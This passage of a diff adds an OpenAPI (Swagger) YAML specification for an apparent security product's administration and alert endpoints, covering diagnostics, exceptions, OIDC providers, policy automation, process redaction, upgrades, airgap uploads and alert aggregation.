+      tags:
+        - administration
+  /data/administration/CircuitBreaker/{id}/:
+    get:
+      description: ""
+      operationId: data_administration_CircuitBreaker_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CircuitBreaker'
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/administration/Diagnostic/:
+    get:
+      description: ""
+      operationId: data_administration_Diagnostic_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: periodic_task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_args
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_kwargs
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: worker
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_encoding
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: result
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_created
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_done
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: traceback
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: meta
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DiagnosticLatestList'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/Diagnostic/active/:
+    get:
+      description: Details on running backend tasks. This API endpoint exists primarily for debugging live instances and is subject to change at any time.
+      operationId: data_administration_Diagnostic_active
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: periodic_task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_args
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_kwargs
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: worker
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_encoding
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: result
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_created
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_done
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: traceback
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: meta
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DiagnosticList'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/Diagnostic/run/:
+    parameters: []
+    post:
+      description: |-
+        Create a task to generate a diagnostic file, and return the name of the output file that can be fetched later
+        once the task is complete.
+      operationId: data_administration_Diagnostic_run
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DiagnosticFilename'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DiagnosticRunResponse'
+      tags:
+        - administration
+  /data/administration/Diagnostic/scheduled/:
+    get:
+      description: Details on running backend tasks. This API endpoint exists primarily for debugging live instances and is subject to change at any time.
+      operationId: data_administration_Diagnostic_scheduled
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: periodic_task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_args
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_kwargs
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: worker
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_encoding
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: result
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_created
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_done
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: traceback
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: meta
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DiagnosticList'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/Diagnostic/{id}/:
+    get:
+      description: ""
+      operationId: data_administration_Diagnostic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Diagnostic'
+      tags:
+        - administration
+    parameters:
+      - description: A unique integer value identifying this task result.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/administration/Diagnostic/{id}/download/:
+    get:
+      description: Retrieve the result of an existing diagnostic file.
+      operationId: data_administration_Diagnostic_download
+      parameters:
+        - in: query
+          minLength: 1
+          name: filename
+          pattern: (.+\.)((tgz$)|(tar\.gz$))
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Diagnostic'
+      tags:
+        - administration
+    parameters:
+      - description: A unique integer value identifying this task result.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/administration/Exception/:
+    get:
+      description: ""
+      operationId: data_administration_Exception_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Exception'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_Exception_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Exception'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Exception'
+      tags:
+        - administration
+  /data/administration/Exception/delete_all/:
+    delete:
+      description: ""
+      operationId: data_administration_Exception_delete_all
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/Exception/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_administration_Exception_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - administration
+    parameters: []
+  /data/administration/Exception/sentry/:
+    parameters: []
+    post:
+      description: Proxy frontend's sentry envelopes.
+      operationId: data_administration_Exception_sentry
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Exception'
+      responses:
+        "200":
+          description: ""
+      tags:
+        - administration
+  /data/administration/Exception/{id}/:
+    delete:
+      description: ""
+      operationId: data_administration_Exception_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+    get:
+      description: ""
+      operationId: data_administration_Exception_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Exception'
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_Exception_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Exception'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Exception'
+      tags:
+        - administration
+    put:
+      description: ""
+      operationId: data_administration_Exception_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Exception'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Exception'
+      tags:
+        - administration
+  /data/administration/MaintenanceNotice/:
+    parameters: []
+    post:
+      description: Endpoints allowing administrators to create/update maintenance notice
+      operationId: data_administration_MaintenanceNotice_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_EditMaintenanceNotice'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_EditMaintenanceNotice'
+      tags:
+        - administration
+  /data/administration/OIDCProvider/:
+    get:
+      description: ""
+      operationId: data_administration_OIDCProvider_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/OIDCProvider'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_OIDCProvider_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/OIDCProvider'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/OIDCProvider'
+      tags:
+        - administration
+  /data/administration/OIDCProvider/active_provider/:
+    get:
+      description: ""
+      operationId: data_administration_OIDCProvider_active_provider
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_OIDCActiveProviderPagination'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/OIDCProvider/test/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_OIDCProvider_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ServerMetadataUrl'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - administration
+  /data/administration/OIDCProvider/{id}/:
+    delete:
+      description: ""
+      operationId: data_administration_OIDCProvider_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+    get:
+      description: ""
+      operationId: data_administration_OIDCProvider_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/OIDCProvider'
+      tags:
+        - administration
+    parameters:
+      - description: A unique integer value identifying this oidc provider.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_OIDCProvider_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/OIDCProvider'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/OIDCProvider'
+      tags:
+        - administration
+    put:
+      description: ""
+      operationId: data_administration_OIDCProvider_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/OIDCProvider'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/OIDCProvider'
+      tags:
+        - administration
+  /data/administration/PolicyAutomation/:
+    get:
+      description: ""
+      operationId: data_administration_PolicyAutomation_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/PolicyAutomation'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_PolicyAutomation_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      tags:
+        - administration
+  /data/administration/PolicyAutomation/classify_default_agents/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_PolicyAutomation_classify_default_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_ClassifyDefaultAgents'
+      tags:
+        - administration
+  /data/administration/PolicyAutomation/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_administration_PolicyAutomation_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - administration
+    parameters: []
+  /data/administration/PolicyAutomation/{id}/:
+    delete:
+      description: ""
+      operationId: data_administration_PolicyAutomation_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+    get:
+      description: ""
+      operationId: data_administration_PolicyAutomation_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_PolicyAutomation_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      tags:
+        - administration
+    put:
+      description: ""
+      operationId: data_administration_PolicyAutomation_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PolicyAutomation'
+      tags:
+        - administration
+  /data/administration/ProcessRedaction/:
+    get:
+      description: ""
+      operationId: data_administration_ProcessRedaction_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ProcessRedaction'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_ProcessRedaction_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      tags:
+        - administration
+  /data/administration/ProcessRedaction/dry_run/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_ProcessRedaction_dry_run
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - administration
+  /data/administration/ProcessRedaction/dry_run_all/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_ProcessRedaction_dry_run_all
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - administration
+  /data/administration/ProcessRedaction/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_administration_ProcessRedaction_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - administration
+    parameters: []
+  /data/administration/ProcessRedaction/{id}/:
+    delete:
+      description: ""
+      operationId: data_administration_ProcessRedaction_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+    get:
+      description: ""
+      operationId: data_administration_ProcessRedaction_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_ProcessRedaction_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      tags:
+        - administration
+    put:
+      description: ""
+      operationId: data_administration_ProcessRedaction_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ProcessRedaction'
+      tags:
+        - administration
+  /data/administration/agent_auto_upgrade_channel/all/:
+    get:
+      description: Read-only endpoint to retrieve the agent versions of all auto-upgrade channels.
+      operationId: data_administration_agent_auto_upgrade_channel_all
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentAutoUpgradeAllChannels'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/agent_auto_upgrade_channel/latest/:
+    get:
+      description: Read-only endpoint to retrieve the agent version of the 'latest' auto-upgrade channel.
+      operationId: data_administration_agent_auto_upgrade_channel_latest
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentAutoUpgradeChannel'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/agent_auto_upgrade_channel/stable/:
+    get:
+      description: Read-only endpoint to retrieve the agent version of the 'stable' auto-upgrade channel.
+      operationId: data_administration_agent_auto_upgrade_channel_stable
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentAutoUpgradeChannel'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/config/ConfigSection/{id}/:
+    get:
+      description: ""
+      operationId: data_administration_config_ConfigSection_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_config_ConfigSection_partial_update
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - administration
+  /data/administration/config/ConnectorConfigSection/{id}/:
+    get:
+      description: ""
+      operationId: data_administration_config_ConnectorConfigSection_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_config_ConnectorConfigSection_partial_update
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - administration
+  /data/administration/config/ProductUpgrade/:
+    get:
+      description: ""
+      operationId: data_administration_config_ProductUpgrade_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpgradeTaskResultList'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/config/ProductUpgrade/abort/:
+    delete:
+      description: ""
+      operationId: data_administration_config_ProductUpgrade_abort
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_UpgradeStatus'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/config/ProductUpgrade/latest/:
+    get:
+      description: ""
+      operationId: data_administration_config_ProductUpgrade_latest
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_UpgradeStatus'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/config/ProductUpgrade/logs/:
+    get:
+      description: ""
+      operationId: data_administration_config_ProductUpgrade_logs
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Logs'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/config/ProductUpgrade/start_upgrade/:
+    parameters: []
+    patch:
+      description: ""
+      operationId: data_administration_config_ProductUpgrade_start_upgrade
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpgradeTaskResult'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_UpgradeStatus'
+      tags:
+        - administration
+  /data/administration/config/ProductUpgrade/upload_image/:
+    parameters: []
+    post:
+      description: |-
+        Create a task to generate a ProductUpgrade file, and return the name of the output file that can be fetched later
+        once the task is complete.
+      operationId: data_administration_config_ProductUpgrade_upload_image
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_ChunkedUpload'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_UpgradeStatus'
+      tags:
+        - administration
+  /data/administration/config/ProductUpgrade/{id}/:
+    get:
+      description: ""
+      operationId: data_administration_config_ProductUpgrade_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UpgradeTaskResult'
+      tags:
+        - administration
+    parameters:
+      - description: A unique integer value identifying this task result.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/airgap/upload/:
+    delete:
+      description: Endpoints allowing administrators to upload airgap update blob
+      operationId: data_airgap_upload_delete
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_AirgapStatus'
+      tags:
+        - airgap
+    get:
+      description: Endpoints allowing administrators to upload airgap update blob
+      operationId: data_airgap_upload_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_AirgapStatus'
+      tags:
+        - airgap
+    parameters: []
+    post:
+      description: Upload airgap update file to S3 and launch airgap update task.
+      operationId: data_airgap_upload_create
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_AirgapStatus'
+        "400":
+          description: Failure
+          examples:
+            application/json:
+              status: update file format incorrect
+      tags:
+        - airgap
+  /data/alert/alert/AggregationAlert/:
+    get:
+      description: ""
+      operationId: data_alert_alert_AggregationAlert_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AggregationAlert'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/AggregationAlert/aggregate/:
+    get:
+      description: |-
+        The `matrix` field is deprecated, please use `matrix_v2` instead.
+        Query parameter `fields` or `field` is mandatory; if both are given, only `fields` will be used.
+      operationId: data_alert_alert_AggregationAlert_aggregate
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: field
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: fields
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: level
+          required: false
+          type: string
+        - in: query
+          name: time
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AlertAggregateResponse'
+      summary: Get aggregated stats and matrix.
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/AggregationAlert/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_alert_alert_AggregationAlert_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/AggregationAlert/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the data.
+        You can choose between:
+        - new
+        - false_positive
+        - investigating
+        - closed
+      operationId: data_alert_alert_AggregationAlert_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_AggregateTag'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging alerts by ids.
+      tags:
+        - alert
+  /data/alert/alert/AggregationAlert/{id}/:
+    get:
+      description: ""
+      operationId: data_alert_alert_AggregationAlert_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AggregationAlert'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/AggregationAlert/{id}/comments/:
+    delete:
+      description: ""
+      operationId: data_alert_alert_AggregationAlert_comments_delete
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IdComment'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - alert
+    get:
+      description: ""
+      operationId: data_alert_alert_AggregationAlert_comments_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_alert_alert_AggregationAlert_comments_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - alert
+    post:
+      description: ""
+      operationId: data_alert_alert_AggregationAlert_comments_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BaseComment'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - alert
+  /data/alert/alert/AggregationAlert/{id}/details/:
+    get:
+      description: ""
+      operationId: data_alert_alert_AggregationAlert_details
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AggregationAlertDetail'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Alert/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
